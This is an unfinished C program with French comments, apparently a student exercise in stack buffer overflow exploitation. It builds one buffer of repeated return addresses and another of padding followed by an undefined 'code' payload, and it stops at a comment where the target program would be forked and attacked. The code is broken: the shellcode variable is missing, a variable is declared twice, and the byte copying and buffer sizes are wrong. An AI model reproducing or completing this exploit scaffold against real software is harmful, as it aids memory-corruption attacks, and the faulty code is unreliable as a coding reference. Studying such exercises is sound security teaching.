1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
int nb; // nombre
char *param1; // param1 contient n fois l'adresse de retour
char *param2;
int adresse = 0;
int nbadresse = 0;
int i;
char *prog = NULL; // nom du programme
if (argc != 5) {
printf("utilisation : ...");
exit(1);
}
prog = argv[1];
adresse = (int)strtol(argv[2],NULL,16);
nbadresse = atoi(argv[3]);
nb = atoi(argv[4]);
// alloue param1, de taille 1+(nbadresse*taille d'une adresse)
// met à zero tous les octets de param1 (cf. man memset)
param1 = (char*)malloc(1+nbadresse * sizeof(void*));
memset(param1, 0, 1+nbadresse*sizeof(void*));
// rempli param1 avec nbadresse fois adresse
/*
for(i=0;i<nbadresse;i++) {
param1[i] = adresse;
}
*/
i = 0;
int nb;
for(i=0; i<(8*nbadresse); i+=8){
for(nb = 0; nb < 8; nb+=2){
param1[i+nb] = argv[2][9-nb-1];
param1[i+nb+1] = argv[2][9-nb];
}
}
printf("0 -> %s\n", param1);
printf("1 -> %s\n", param1);
// alloue param2, de taille 1+nb+taille du code
// met à zero tous les octets de param2 (cf. man memset)
/*
param2 = malloc(1+nb+sizeof(code));
memset(param2, 0, 1+nb+sizeof(code));
*/
param2 = (char*)malloc(nb+strlen(code)+1);
printf("2 -> %s\n", param1);
memset(param2, 0, 1+nb+strlen(code+1));
for(i=0;i<nb;i++) {
param2[i] = 'a';
}
memcpy(param2 + nb, code, strlen(code));
printf("3 -> %s\n", param1);
int end = 0;
int try = 1;
int pid;
int status;
//....Ici on fork
exit(0);
} |
Partager